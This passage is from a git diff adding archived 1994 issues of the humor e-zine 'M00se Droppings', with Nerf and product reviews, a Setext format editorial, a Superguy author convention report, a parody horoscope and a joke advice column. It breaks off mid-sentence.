heat of the +dual no one is aiming so much as using a combination of Zen and prayer, +and the Nerf Bow seems to excel in those conditions. The times the +Hydro Bazooka won almost always were in the first shot, as the Nerf Bow +reloads about twice as fast as the Hydro Bazooka -- which means the +Bowman can get off three shots in the time the Bazookaman can get off +two. + Further, when the dual consists of having one's weapons in one +hand, out of firing position, and having to raise, aim, and fire, the +Nerf Bow is easier to swing up. The Bowman simply raises the bow, grabs +the firing handle, pulls and releases. The Bazookaman, on the other +hand, must swing a heavier weapon up, grab the firing tube, adjust the +weapon, aim, and push and pull the tubes. While Manly got very fast +indeed, the Bow was faster. + Reloading the Hydro Bazooka in the heat of combat consists of +letting go of the yellow tube, popping a ball out of the rack, fitting +the ball in the cup, pulling the tubes apart, aiming, and firing. +Reloading the Nerf Bow in combat consists of letting go of the Firing +handle, grabbing a missile, fitting it, grabbing the handle, and +firing -- which are less steps than the Bazooka, and the steps +themselves go faster. + After fighting a dual, it is polite to gather up the expended shot +of your opponent and throw it back to him. If you lost, you may legally +attempt to hit your opponent with his shot. If you won, hitting your +opponent with his shot is gloating, and therefore also encouraged. + +GUIDELINES FOR NERF USE: + Do not shoot Nerf Weapons at your cat. This scares them, as they +have brains the size of walnuts and don't understand the concept of +`harmless weaponry' Instead, shoot it immediately behind your cat, +grazing the cat's butt if possible. This freaks said cat, and then you +can have hours of fun shooting Nerf missiles off and having the cat tear +after it with no regard to their own safety. We're talking enemies for +life, and cats seem to love this, because they are weird. + Do not shoot Nerf Weapons at your dog, unless you enjoy getting +expensive Nerf ammunition back ripped apart, useless, and covered in dog +spit. + Do not shoot Nerf Weapons at your Congressman. They cause no +damage. + Do not shoot Nerf Weapons at expensive crystal. They will not harm +the crystal in the slightest, but they might knock the crystal off their +shelf and that can cause damage. + Shoot Nerf Weapons at everything else. + + * * * + + BOING BOING + A Most Cyberm00sey Magazine + reviewed by your pal Svedishm00se + + This is a strange and fascinating magazine that came to my +attention sometime in 1991, or possibly 1992, I forget. The first issue +I bought, #6, lists a date of "sometime in 1991." It's now up to #11, +and seems to be going strong. + Boing Boing is a magazine more or less dedicated to radicalism, +cyberpunk, drugs, sex, game theory, anarchy, the Internet, mucks, music, +philosophy, paranoia, underground zines, and other fun stuff. What +sets it apart from a lot of other material of the same manner is in what +it doesn't have: kitsch, inflated self-importance, or a boring +insistence that it has something important to say. It's cool without +being elitist, and has an overall feel to it I can only describe as +"m00sey." + Articles in the most recent issue run the gamut: there's "Zip3: +Frankenstein and artificial life," an excerpt from Rudy Rucker's +upcoming nonfiction work on genetic engineering and wetware; "Fake +Funland," a marvelously sarcastic review of the toy fare available at +Toys R' Us (no Nerf was mentioned); "Fetish for S&M," an interview with +the organizer of a theatrical S&M show whose show was recently 'busted' +in a sting operation despite the technicality of not having actually +violated any laws; "Quantum Tantra," an interview with author Nick +Herbert cross-connecting the subjects; "Black Science Navigator," a +parodical look at primarily white alternative culture trying to enlist +African Americans; "The Poor Humans Guide to the Internet," a brief +overview of how to get cheap Internet access; "A Six-Pack of Dystopia," +reviewing six cheesy post-apocalyptic films, and so on. Recent issues +have delved into chaos software, the application of nanotech to +clothing, building robots, and interviews with Lewis Shiner, Bruce +Sterling, and Terence McKenna. + That's not all it has, of course. There are loads of reviews of +underground zines, music, and videos. It has advertisements from a wide +variety of alternative press sources and products. One of my favorites +is one that appeared in the most recent issue, reviewing a publication +called "Paranoia: the Conspiracy Reader," which takes conspiracy +material from a wide spectrum of conspiracy mongers and packages it up +for easy, convenient consumption. Expect to see it reviewed here +sometime in the future. + Finally, in the most recent issue, several very m00sey games were +suggested by Don Webb. My favorite: the conference call game: + "a) Get conference calling for you phone. b) Set up a conference +call between a telephone sex service, your local PBS pledge line, Pat +Robertson's prayer line, and a lawyer's referral service. c) Record and +broadcast as a radio performance." + + RATINGS: + Content: Yes. + Layout: Not quite 'slick,' but clear and professional. + Thumbs: Up. + +(BB is available at non-scum-infested comic shops in lots of places, +though not necessarily near you, at $4 per issue. Subscriptions are +available: $14 for 4 quarterly issues, $25 for 8. Write to: +bOING bOING; 544 Second St.; San Francisco, CA 94107 USA, or e-mail +for info: Carla Sinclair, editor in chief, at carla@well.sf.ca.us.) + + * * * + + RIGHT GUARD SPORTS STICK ("FRESH SCENT") DEODORANT + The Battle Against Odor Rages On With New Minty Blue Flavor + again by Svedishm00se + + Most men in this post-modern jungle we call civilization want only +the basic things from their underarm deodorant. They want it to +suppress the fumes from their underarm pits so they can mate with +something that has a nose. It has long been my position that this +dramatically underrates the true possibilities inherent in a quantity of +perspiration annihilating substance. + Consider, for instance, the subject of this review, the Right Guard +Sports Stick Deodorant. My current edition is the "Fresh Scent" model, +though I must admit the question of "a fresh *what*?" has still not been +answered. As near as I can figure, it could be fresh tile scrubber, or +fresh plastic. Licking it has not helped identify what it is supposed +to be a "fresh" version of. + Given it's clear blue look, I've hypothesized that it might be a +solidified version of Peppermint Scope. I have not ingested any of it +yet, so I don't know how true this is, but it certainly looks eerily +similar. There's probably a chemistry doctorate in here somewhere. + It is cool to the skin, and tends to leave a slick residue. It +does not cause tingling sensations when applied to the nipples, which is +unfortunate, though largely predictable. Applying a thin, even coat of +it to the television screen has provided minutes of entertainment, +particularly while 'Family Matters,' was on. The entertainment ended +when it was realized that it did nothing to distort the sound, and that +none of the people inside the TV noticed in any way. + It is completely ineffective as a writing utensil on anything +smaller than a wall. Besides, you can't read the words anyway. + Ingesting large quantities of intoxicants will make this product +seem more important than it is. It also-- + + Hey! + "Victory!" shouts Sabre. + You've had your review, already! Go away! + + "Victory!" + That does it! I've got a Nerf grenade, and I'm not afraid to use +it! + [Insert scene of tremendous carnage, resulting in no damage +whatsoever.] + + RATINGS: + Science Value: three stars + Resistance + to Nerf: same as everything else + Deodorizing: um...I forgot to test this. + +======================================================================== +SUE REVIEW REVUE ISSUE REVIEW REVUE ISSUE REVIEW REVUE ISSUE REVIEW REVU +======================================================================== + + + +--========================_15417156==_ +Content-Type: text/plain; charset="us-ascii" + + + ========================================================================= + | I woke up this morning to find that we have | William R. Dickson | + | outlived the myth of trust. You woke up this | Int'l M00se Illuminati | + | morning to the fact we've lost the things we | wrd@beer.wa.com | + | took for granted between us. |------------------------| + | -- Billy Bragg | Read Superguy! | + ========================================================================= + + diff --git a/textfiles.com/magazines/M00SE/md.048 b/textfiles.com/magazines/M00SE/md.048 new file mode 100644 index 00000000..7a9f2b30 --- /dev/null +++ b/textfiles.com/magazines/M00SE/md.048 @@ -0,0 +1,1137 @@ +Date: Mon, 13 Jun 1994 21:42:44 -0700 +From: Dark M00se Rising +Subject: M00se Droppings #48 (June 13, 1994) + + + +--========================_15213744==_ +Content-Type: text/plain; charset="us-ascii" + + + + + +--========================_15213744==_ +Content-Type: text/plain; name="MD048.2"; charset="us-ascii" +Content-Disposition: attachment; filename="MD048.2" + +M00SE DROPPINGS #48 - JUNE 13, 1994 +=================================== + + A-M00s-ing Anecdotes and Illumination By and For the Pawns of the + M00se Illuminati + + _M00se Droppings_ is published on the 13th of each month. Send + submissions and subscription requests to wrd@beer.wa.com. + + All contents copyright the respective authors. More explicit + copyright notice forthcoming, pending consultation with + Pr0phetm00se, our resident expert. + + This issue is being mailed to 70 chapters of the M00se Illuminati. + + +STAFF: + + Editor In Chief: Bill Dickson + Assistant/News Editor: Dominic White + Reviews Editor: Gary Olson + + + +IN THIS ISSUE: + + Editorial Notes + New publishing schedule + New format + Submission guidelines + + News Droppings + _M00se Droppings_ back issues available on America Online + _M00se Droppings_ back issues available on the Internet + + Special Features + A report on Authorcon II + Your Astrom00sical Horoscope + + Regular Features + Ask The Sage + Tracking the M00sey Age + + Reviews + Stimpy Pillow + Let's Go Bowling with Easy Big Fella + + + +EDITORIAL NOTES +--------------- + + Welcome to issue 48 of _M00se Droppings_, the first issue in which + we attempt to adhere to our new publishing schedule and format. + I'm Pickle, and I'll be your editor this evening. + + The first thing you'll probably notice is the sudden, complete + shift in format. + + No, that's a lie. The first thing you'll probably notice is that + the issue is months overdue. + + That's not entirely true either. Although it is months overdue + from the time I had hoped to publish it, it is in fact right on + time for the eventual deadline I set. _M00se Droppings_ will, + from now on, be published once a month on the 13th of that month. + We will stick with the 13th of the correct month, unlike many + other so-called "professional" publications, which publish their + magazines as much as six weeks early, so you get the March issue + in January, thus making you think you've been comatose or + something. That won't happen with ~this~ little newsletter, I + assure you. + + Okay, so the ~second~ thing you'll notice is our new format. + While it may lack some of the ASCII-graphic pizzaz of the old + format, it has certain advantages. I will now attempt to explain + and defend them. + + This is a tagged-text format called Setext. It's in use by + several electronic publications out there, most notably by + _TidBITS_, an electronic Macintosh newsletter by Adam Engst. + _TidBITS_ has something in the neighborhood of 100,000 readers, + and Setext seems to be working quite well for it. + + The basic idea is that the text contains certain formatting "tags" + that, while relatively unobrusive to those who read the issue in + plain text format, can also be used by a Setext reader to index + and format the text in certain ways to make it more pleasant to + read and easier to search later on. For instance, you'll notice + that "Editorial Notes" above has an underline consisting of + regular hyphens. This looks like an underline to the plain text + reader, but in a Setext reader it marks the words "Editoral Notes" + as a section heading. The reader can then format the text + appropriately -- making it Helvetica Bold 14, for instance -- and + separate the text contained beneath that heading from the text + contained beneath the next heading. + + Another example is the word "second" above, which -- if you don't + have a Setext reader, is surrounded by tildes. If you do have a + reader, that word should be in italics. + + You might think of Setext as being like HTML for the World Wide + Web, only less powerful, and readable as plain text without making + you go all crosseyed. + + Setext was designed as a platform-independent format, but it is + more mature on the Macintosh than under UNIX and Windows. Easy + View for the Macintosh is a fairly complete Setext viewer, + although hypertextual capabilities will not be added until a later + version. Easy View for Windows is brand new, and still + rudimentary, though it looks like the author is going for the look + of the Macintosh version. The UNIX reader, sv, is on version 0.3 + and handles nothing but the indexing capabilities. Among other + places, all three can be obtained from the following locations: + + Mac: ftp://ftp.eff.org//pub/Net_info/Tools/easyview2.44.cpt.hqx + Win: ftp://ftp.eff.org//pub/Net_info/Tools/easyview.zip + UNIX: ftp://ftp.eff.org//pub/Net_info/Tools/sv-03.tar.gz + + Download them and give 'em a shot. I'm afraid those of you on + VMS, CMS, and DOS systems, among others, are out of luck as far as + using a Setext reader, at least for the present. But if somebody + wanted to write one, nobody on the Internet would object! If + you're interested in doing so, I might be able to help you find + the right people to talk to. + + The format of _M00se Droppings_ is still under development. + Should each section -- Reviews, Features, etc. -- be a single + large Setext section, with all the contents lumped together? This + makes for a more logical and attractive index in the reader. + Alternatively, we could abandon formal sections entirely, and + simply index each article individually. This is more fluid and, + again, makes for a simple, clean index, but doesn't necessarily + arrange the articles in a convenient manner. + + In this issue, I'm trying a compromise between those two. Each + section is a separate Setext section, with its title entirely in + caps. Separate articles within each section are also individual + Setext sections, but their titles are in upper/lowercase. This + may make for a cluttered index, but each article is directly + accessible and listed in the index. + + Does this work for you? Would one of the other methods work + better? Your feedback is appreciated. + + I'll be preparing an Easy View viewfile for the Macintosh version + of the reader, for anybody who wants one. Just so you know, I + will be doing some formatting with spaces, so anybody using a + reader should make sure they've got the body text style set to use + a monospaced font. + + +Submission Guidelines +--------------------- + + These guidelines are preliminary and subject to change, but I've + got to get ~something~ out there! So here goes: + + The following are general guidelines, for submission directly to + the editor. Reviews and News submissions should be sent to + Svedishm00se and Ickym00se directly, and they may override these + guidelines (though these guidelines do apply to the final files + they send me :). Submission deadline is the 11th of the month. + + Articles may be submitted in MS Word (Mac or Windows), Nisus + (Mac), or ASCII format. Please do not indent paragraphs; instead, + separate them with two carriage returns. Also, if sending a file + in a format that permits it, do not break your lines -- I'll just + have to unwrap them when I assemble the file in Nisus so the + Setext formatting macro will work properly. This is a change from + the original guidelines, and I realize that those of you sending + me files via email don't have a whole lot of choice in the matter. + + We would prefer original material where possible. All the m00sey + stuff you're familiar with is welcome, as is short fiction, + poetry, commentary, etc. I can't promise you we'll include it, + but if you think the readers of _M00se Droppings_ would enjoy it, + give it a shot! + + Copyright issues are still to be hashed out, as I simply don't + know enough about it. My intention is to make _M00se Droppings_ + as a whole freely distributable via electronic channels, paper + printouts, transcriptions onto napkins, public readings, and + transmission by smoke signal, but to leave individual articles + otherwise in their authors' control. In other words, if you + submit something, you agree that you'll never insist I locate + every copy of _M00se Droppings_ in existance and edit it out, and + you'll never try to make me stop distributing the issue. But if + somebody wants to reprint or excerpt your article, they've got to + ask you for permission. I'll buy Pr0phetm00se a beer if he helps + me hash something like that out. + + These guidelines, when formalized, will be available on request + from me and the other editors, and should include variations for + their sections as well. + + +Final Notes +----------- + + In this issue, you'll find a couple of special features: a report + on Authorcon II, the gathering of the writers from Superguy + Digest, and Your Absolutely Accurate Astrom00sical Horoscope, by + Pr0phetm00se. If Pr0phetm00se is willing, it might be fun to make + the horoscope a regular feature. + + Also, for those of you familiar with the most m00sey and + worthwhile Superguy Digest, a shared-world serialized-fiction + often-humorous superhero writing forum, I'm considering a very + brief monthly review of the highlights of recent stories. Sort of + like the soap opera recaps you see in magazines that live near + cashiers. It could be fun for Superguy readers, and for those of + you who don't read Superguy yet, it would give you a little bit of + insight into what it's all about. What do you think of these + ideas? Let me know. + + Incidentally, if you do want to subscribe to Superguy, send mail + to: + + listserv@ucf1vm.cc.ucf.edu, or + listserv@ucf1vm.bitnet + + Your message should contain only the words: + + subscribe superguy Your Name Here + + (Obviously, "Your Name Here" should be replaced with your name. I + realize you're all smart enough to know that, but some among you + might just have tried it anyway just so you could protest to me + that it didn't work :). + + So enough of my babbling. Let's get on with the issue! + + + +NEWS DROPPINGS +-------------- +Little turds of information for your enjoyment and edification. + + +_M00se Droppings archived on America Online_ + + The long-silent GypsyLynx here with a news flash. Some of you may + have thought that I dropped off the face of the earth after my + wedding almost 4 years ago, but I just went into hiding long + enough to hatch a new, nefarious m00se-c0up! + + M00ses have invaded America Online! Some of us are even in minor + positions of power...and swaying more to our cause all the time!! + The entirety of M00se Droppings are not only available for + downloading from AOL, but the charter, background and information + files are as well. They even got a billing on a "What's New" + button on AOL. Since m00ses are known to be a bit secretive at + times, actual numbers of converts are unknown, but hopefully + growing. Bl00p! Fnord. + + +_M00se Droppings available on the Internet, too_ + + Stanton McCandlish is now archiving M00se Droppings at: + + ftp://ftp.eff.org/pub/Publications/CuD/M00se_Droppings/ + gopher://gopher.eff.org/00/Publications/CuD/M00se_Droppings/ + http://www.eff.org/pub/Publications/CuD/M00se_Droppings/ + + This is the Computer underground Digest E-Zine Archive, and it is + mirrored far and wide. + + + +SPECIAL FEATURES +---------------- + + This issue, we have a report on the monumentous Authorcon II, by + Reviews Editor and Superguy Author Svedishm00se, and a special + column on your astrom00sical horoscope by -- who else? -- + Pr0phetm00se. + + +Authorcon II +------------ +or, Thr0ng-a-thon in the Capitol of the State with a Lower Peninsula +Shaped like a Big Mitten + +Portrayed to you, the reader at home, by Svedishm00se, in third +person + + + May 19th, 1994 opened quietly, as most mornings do. The air was + still in anticipation of the bizarrely m00sey things that were + about to happen that day. The very fabric of reality was prepared + to let out an all-encompassing 'bl00p!' + + Unfortunately, the cosmic universe was a day early. Authorcon II + didn't start until Friday, the 20th. Svedishm00se, in his + civilian disguise as Gary W. Olson, working drone, went to his + place of gainful employment and continued his usual covert + subversion of the established order. Night fell. + + May 20th, 1994 opened quietly, just like the previous morning. + The air was a bit more wary this time around, but after some + assurances that it had indeed gotten the day right, things + brightened up, and Michigan got its first truly bright and sunny + day of the year. + + What was to occur this day was the beginning of a very special, + very m00sey Thr0ng-a-Th0n known as Authorcon II. It was called + this because the five m00ses who were converging on Svedishm00se's + apartment in East Lansing were authors on the famed and extremely + m00sey LISTSERV group known as Superguy, which regularly exported + high-quality humor- laden superheroic and sci-fi epics to many + Internet and BITNET readers. One such convergence occured a year + ago, in Syracuse, at Alacrity's residence. Hence the 'II' that + comes after 'Authorcon.' (It is complete coincidence that 'II' + looks like 11.) (Really.) + + The first m00se to arrive was Robotech_M00se, by the bizarrely + omen-ridden Amtrak method. Svedishm00se greeted Robotech_M00se at + the train station and brought him back to his apartment. + Robotech_M00se, having brought more anime than could probably be + found in the entire country of Zimbabwe, proceeded to show a + delightful (and, yes, even m00sey) anime, 'Tenchi Muyou,' which + Svedishm00se enjoyed a lot. By a startling coincidence, the show + finished just as the rest of the m00ses arrived. + + Sabre the Pr0phetm00se, Alacrity, CityM00se, and Austerem00se + arrived in Sabre's car, Rubicon. Svedishm00se emerged to greet + them, and scored the first victory of the weekend when he whipped + out his Nerf Missilestorm and shot Sabre with Nerf before Sabre + could retrieve his Nerf weapons from the trunk. A Nerf battle + erupted right then and there in the parking lot, causing much + confusion, but no damage whatsoever. (Please review the reviews of + Nerf weapons in the previous M00se Dr0ppings, in case you are + unfamiliar with why Nerf is the ultimate M00se weapon.) + + The M00ses, the Nerf, and the battle migrated inside to + Svedishm00se's apartment, where old acquaintances were renewed, + and everyone met Robotech_M00se (the only one who had not been at + Authorcon I, not having been a Superguy Author or a M00se at the + time). Bass Ale and Pub Draught Guinness (in cans) awaited the + m00ses who liked to consume such, and much consumption was + accomplished. Being as it was already evening, and most of the + m00ses were tired from many hours of travel, we decided not to go + out, and instead watched an episode of PBS' "Jeeves and Wooster," + which was extraordinarily funny, and the Mystery Science Theater + 3000 presentation of "Mitchell." + + Now, Svedishm00se is well aware that many m00ses out there enjoy + Mystery Science Theater 3000, and realize that any episode is + virtually guaranteed to be a m00sey experience. But very few + MST3K episodes can stay lingering in the corners of the human + mind, days, weeks, even months after viewing, like "Mitchell" can. + Both Sabre and Svedishm00se can publically attest that "Mitchell" + has changed their lives, though not for the better. + + "Mitchell," the title character, played by Joe Don Baker, is the + Jungian archtype of The Slob. The one who slouches. The one who + drinks Schlitz and likes it. The one who sleeps with hookers, + then busts them. The one who wears extremely tacky jackets, and + has exposed the comedic potential of zero tolerance. The one with + the 70's "wotchitika-wotchitika" theme music playing in the + background as he goes on extremely slow car chases. + + By the time the movie was over, fully a third of the m00ses + present were asleep, and the rest wished they were, as it would + have spared them from the deep hurting that is "Mitchell." And + so, the first day of Authorcon II drew to a close. + + The next day, Saturday, was even brighter and hotter than Friday, + and the m00ses that were sprawled on Svedishm00se's furniture and + floor awoke gradually, as m00ses are wont to do. Saturday Morning + cartoons were started, then quickly abandoned, in favor of one of + Svedishm00se's 'Animaniacs' tapes. The Animaniacs feature 'Pinky + and the Brain' won particular favor as being very m00sey and + Superguyish. By 10 a.m, the m00ses were ready to venture out into + the world and engage in the eternal struggle for breakfast. + + The struggle took them to downtown East Lansing, where + Svedishm00se parked his car in a local parking ramp, and the + m00ses got out, locking the doors and shutting them. It was then + discovered that Svedishm00se had forgotten to remove his keys from + the car and did not have his spare key on him. Furthermore, the + engine was running. Thirty dollars later, a passing wrecker + driver unlocked the car, and Svedishm00se retrieved his keys. The + struggle for breakfast could then proceed, and proceed it did, in + a shop called 'Bagel Fragel,' where the hearty m00ses subdued + bagels, croissants, and cappucino. + + Saturday, as it happened, was the first of two days that the East + Lansing Arts Festival was being held, in downtown East Lansing + (naturally). Much interesting art was on display, in addition to + wares from the downtown shops, and much time was spent wandering + around, looking at the art and wares and attempting to locate + Austerem00se and Alacrity when they now and again wandered away. + + The m00ses thr0nged through three comic shops, a bead shop, a CD + shop with many rare and alternative CDs, and several other shops, + purchasing as they went. Sabre, Robotech_M00se, and Alacrity + managed to subvert Austerem00se into buying some "Magic: the + Gathering" cards, while CityM00se and Svedishm00se stayed clear of + them. Around 2 p.m, several m00ses expressed a desire for food, + and/or beer. + + But there was one more shop to visit, before either could be had. + The m00ses descended upon a rare book shop that turned out to have + some incredible items in stock, including a large number of 1930's + Astounding Stories, as well as Amazing Stories and Doc Savage. + Alacrity and Sabre, in particular, were extremely happy to find + these, and were extremely sad when it came time to leave. Both + expressed a desire to return when their individual financial + pictures were brighter, so that they could purchase some of these + items. + + Lunch was had at 3 p.m. at a very cool establishment, the Small + Planet. Guiness and Samuel Smith's Oatmeal Stout was consumed by + some of the m00ses, others had tea, coffee, or water, while + examining their purchases and waiting for their food, which turned + out to be delicious. The m00ses, sunned, fed, quenched and tired, + proceeded to return to Svedishm00se's abode. + + After communal Star Trek watching was finished, phone calls + dominated the next two to three hours, as other Superguy authors + such as Rob Furr, Lawrence Brown, and Mike Escutia were spoken + with. Per Authorcon rules, they were informed by each m00se at + Authorcon that they sucked (which, by definition, all Superguy + Authors not at Authorcon did), and they seemed to take this news + in stride. More Authors were talked to via IRC, including Gadge, + M00son Kramer (both m00ses), Greg Fishbone, and (again) Rob Furr. + Alacrity made a very tasty pasta dish for dinner, a couple + Blackadder II episodes were witnessed, and a portion of MST3K's + "The Brain that Wouldn't Die" (referred to by the m00ses present + as "Neck Juice") was watched. Svedishm00se stopped the tape when + it became apparant that all the m00ses, save himself and + CityM00se, had fallen asleep. It was probably only coincidence + that it was 3 a.m. + + The following morning, the official joint e-mail message to other + Superguy authors was made, with all six m00ses including their + individual insights into the amazing weekend. It was in this + message that the official M00se unit of measurement for how much + something or someone sucked, "the mitchell," was introduced. + Pickle and Icky-M00se called from Seattle, and the mitchell count + they radiated was off the scale. Perversely, they claimed that + since they were in Seattle, they were inherently incapable of + sucking, but were unable to deny the reports of Schlitz drinking + in the Seattle region. + + Alacrity, Austerem00se, CityM00se, and Sabre finished packing, and + loaded up Rubicon with their Nerf, their Magic: the Gathering + cards, their books, and other assorted stuff. Before departing + for Syracuse, New York (and, via Syracuse, their own respective + destinations), they brunched with Svedishm00se and Robotech_M00se + at the local "Denny's," and proclaimed their traditional chant, + while holding forth the onion rings that Sabre had ordered: + + "Onion Ring to Rule Them All + Onion Ring to Find Them! + Onion Ring to Bring Them All + And in the Darkness Bind Them!" + + The onion rings were then consumed, and Authorcon II had drawn to + a close. Sabre and the m00ses accompanying him left towards the + destination mentioned in the previous paragraph, while + Svedishm00se and Robotech_M00se returned to Svedism00se's hovel. + Later that day, one of Robotech_M00se's friends from Detroit + visited, and more anime videos were watched, including the + allegedly amusing "Robotech III: Not Necessarily the Sentinels," + and the truly hilarious "Urusei Yatsura" tv series. The following + day, Robotech_M00se departed via Amtrak, on a circuitious route + back to Missouri. + + There are more stories to tell, of course. Authorcon 2.02 was + held in Ithaca, where ManlyM00se, another Superguy author, was + absolved from sucking, following a visit from Sabre and + Austerem00se. ManlyM00se noticed, quite astutely, that + Austerem00se resembled many of the popular artistic renditions of + Jesus, which seemed appropriate, giving how many times + Austerem00se had died and been resurrected on the Superguy list. + Mike Escutia was later visited in Authorcon 2.03, though it is not + known if he made a similarly insightful comment. + + But these stories, if ever told, will have to be told by the + participants. Authorcon II was, all told, massively m00sey fun, + and (dropping out of the third person) I had a blast. Plus, I + don't suck for another year. Who can ask for anything more? + + +Your Astrom00sical Horoscope +---------------------------- +by Pr0phetm00se (rubicon@drycas.club.cc.cmu.edu) + + + _Aquarius_: Plan ahead for an exciting trip. Pack extra socks, + and carry a carton of generic cigarettes. At the arraignment, + plead no contest. Rethink your attitudes towards prison reform. + Do not accept the free legal aid. + + _Gemini_: You're completely invulnerable! Walk into traffic! + Break up gang fights! Loudly criticize live rap music concerts! + Buy two lottery tickets! Remember, you can't really be hurt -- + you're invulnerable! When the stitches come out, do not tell the + Doctor or Nurses about your invulnerability. If you don't have + health insurance, ignore this Horoscope. + + _Capricorn_: The whisperings and strange paranoia you have been + feeling of late are real and true. Your co-workers are following + your every move with their beady little eyes. If they get any + part of you, they will be able to clone and replace you. Save all + your waste products. Do not trust rest-rooms. Carry it with you + in plastic bags. It's safer that way. + + _Virgo_: Expect adventures of romance and excitement. A new + significant other of charm, sophistication and beauty is right + around the corner. Love will appear when you least expect it, so + be prepared at all times. Dress in your best clothing. Never wear + underwear -- or if you must, make it exciting. Change your hair + color and style. Wear colored contact lenses. Proposition every + stranger you meet. Accept any proposition you're given. Soul + kiss on the first date. Name the child Nermal. + + _Pisces_: Your dead-end career can't possibly keep a go-getter + like you down for long! Quit! Trash the office on your last day! + Steal office supplies! Steal the money from your co-workers' + desks! March into an Insurance Company and demand employment! + Remember -- confidence pays off! If someone rejects you, slap + them and move on! + + _Ares_: You are being stalked by someone born under the sign + Scorpio. Take no chances -- one of those bastards is a killer! + Arm yourself for war -- this is survival of the fittest. Ask + everyone you meet what their sign is. If they're Scorpios, kill + them. If they say they're something else, they might be lying. + Kill them anyway. If they say a silly joke answer (like that + woman from the Zima Commercials who says "Ztop") then they are + mocking you. Knife them. + + _Taurus_: You're about due for your scheduled maintenance checks, + so make an appointment now. Check your oil level, and consider + replacing the points and plugs now. Avoid Lincoln Continentals. + Big things might be ahead, so always look your best -- get a good + wax job, take care of those scratches, and remember, Genuine Ford + Parts can't be beat. + + _Anvil_: If you were born on the fifth of Anvil, you are the true + born Monarch of United Europe -- an estate worth billions. + Congratulations! + + _Scorpio_: This is a good month to get out of investments. Sell + short, if you have to. The hell with the Margin call. Just get + out. If you own things -- cars, stocks, houses, microwaves -- + give them all away and get receipts. Clothes too. Quit your job. + Go on food stamps. Call the I.R.S. and ask them if you could be + audited -- you want to be sure they suspect nothing. Oh -- and + this might be a good time to avoid Areses. Trust me. + + _Sagittarius_: Your warm friendship and reliability have made you + many friends. They will spend a lot of time with you. They will + drink all your beer and eat the food you need to live on. You + will be known as "The Easy Mark' by all those around you. + Remember, sharing what you have is a wonderful feeling. See how + long you can eat those wonderful feelings to survive. + + _Cancer_: Look, I won't lie to you. This is going to be + something of a bad patch. Oh, it might seem all right, but your + co-workers and friends are whispering about the rumors. Just + steel yourself. When the axe falls, try to take it well. If you + are in a relationship, try not to kid yourself. Remember, you're + just marking time. There are other fish in the sea. It's best to + project a feeling of resignation, so that people will just get it + over with and you can all try to move on. + + _Leo_: Call Mort. He says you never call, Leo. Hey, I know + Mort, and if Mort says you never call than you had better believe + you never call. Look, I don't care what you say, Leo, Mort + deserves a little friendship too. What kind of busy life do you + have, Mister Man? What, you can't even call your friends once in + a while? I don't know why I bother with you, Leo.... + + _Libra_: Stop. Wait just a second. Before I tell you what your + Horoscope is, you're going to have to tell me just what a Libra + is, anyway. I mean, Taurus the Bull, Capricorn the Goat, Aquarius + the Pot Smoking Deadhead, all those we can see. But what the Hell + is a Libra? Would you know one on the street? How? Are they a + protected species? If you can't tell me than you don't deserve a + Horoscope. And if you think you know, you're either wrong or + you're lying, so the Hell with it. + + _If you were born today_: You're doing very well to be reading + already! Congratulations. I foresee a lot of vomit and poop, but + none of that niggling Otitis Media. Good for you! Around four in + the morning, attention will be scarce unless you let your needs be + known. Avoid dogs. + + _Special Guest Horoscope_ -- Cats! (all signs): You have a busy + schedule ahead, so you'd better catch naps where you can. The + furniture's getting on the old side anyhow, so don't worry about + whatever happens to it. You won't know what will happen if you + poop on the carpet if you don't try! Remember -- humans are + supposed to wake up at five fifteen a.m. Don't let them oversleep + -- they might give you two servings of dinner if you help them get + up! Avoid the milk -- it's past due. + + + +REGULAR FEATURES +---------------- + + Returning again are Superguy Digest's The Sage with his omniscient + advice, and Pr0phetm00se's report on the progression of the M00sey + Age. + + Feel free to send in your questions for The Sage, care of + wrd@beer.wa.com. + + +Ask The Sage +------------ +The Only Advice Column You'll Ever Need, If You've Got $10 on You +by Superguy Digest's The Sage + + + Hello! I am still the Sage! As everyone who read the previous + issue will remember (except for Gladys H. in Tupelo, who, due to + inhaling exhaust fumes before reading the issue, believed she was + communicating with Ted Cassidy), I know everything, without + exception! + + It was reported last time that the editors of this fine electronic + newsletter were in negotiations with me for a contract that will + make my traditional $10 charge for answers to any question + unnecessary. I am pleased to report that we indeed have arrived + at a contract! + + Actually, we won't arrive at agreement for three years. But, as I + have already said, I know everything, and that includes certain + embarassing scandals featuring the editors that will eventually + compel them to knuckle under to my demands: $10 per question, two + six packs of Pabst a week, and two tickets to the Broadway musical + adaptation of _Final Exit_. Furthermore, I know that the charges + will be backdated to now, so I will go ahead and dispense with + requesting $10 per question from the readers now! + + And now, on with the questions! + + + + DEAR SAGE, + + I read your answer to my question on whether I should ask my + current girlfriend to marry me. You said I'd be hit by a bus + within a week. Well, I asked her, she said yes, and several + months have gone by without incident. How do you explain ~that~, + mister know-it-all? + + Alex Sanderson, + Not-so-nervous in New Mexico + + + Alex, + + You are quite mistaken, my boy! You did indeed get hit by a bus + one week after proposing to your girlfriend. In fact, only 5.23 + seconds have passed in real time from the moment of impact. Your + brain has already flashed your entire life to date before your + eyes, and is currently in the process of making up more of it. + Everything, even this answer, is a delusion of your concussed, and + soon to be very dead, mind. + + + + DEAR SAGE, + + My wife and I just don't enjoy sex like we used to. I've heard + that sexual aids are often helpful in bringing that "spark" back + to a relationship. What do you recommend? + + Emasculated in Ebington + + + Dear Emasculated, + + In your case, an air pump and some duct tape to patch the rip. + + + + DEAR SAGE, + + What scandals, exactly, are you talking about, in reference to the + M00se Droppings editors? I ask merely for information. + + Frank O. in Ithaca + + + Dear Frank, + + Due to the contract that I will sign, I cannot divulge which + editor was involved in which scandal. However, I can say that one + editor has been having a hot, steamy love affair with Martha the + denture lady, while another likes to take bubble baths in "Zima," + the clear alcoholic beverage that was once marketed under the name + "Turpentine." + + That's all the time I have for this issue! This is the Sage, + signing off! + + + +Tracking the M00sey Age +----------------------- +Prophecy McNuggets for your Illumination +by Sabre the Pr0phetm00se + + + Well, the seasons turn and change, winter fades into summer, + through that unplanned, horrifically chaotic time called spring, + the winter olympics have come and gone, former President Nixon has + died, Rosanne and Tom have divorced and remarried, Arsenio Hall is + off the air, and Madonna has been barred for life from the Late + Show with David Letterman. + + All in all, I would say the M00sey Age is coming along quite well. + + Here are a few other items which reaffirm my basic faith in my + prognosticative ability: + + + _The Women's Figure Skating Competition at the Winter Olympics_: + I know, you thought you were rid of this rubbish. Hey -- it's the + first column I've written since January. Sue me. I'll try to + make it brief. + + After the hoopla and torment of months, we finally got to this + event. Tonya Harding finished a respectable eighth, after having + the first known Figure Skating restart due to a flat tire. She + then left, plea-bargained to stay out of jail, 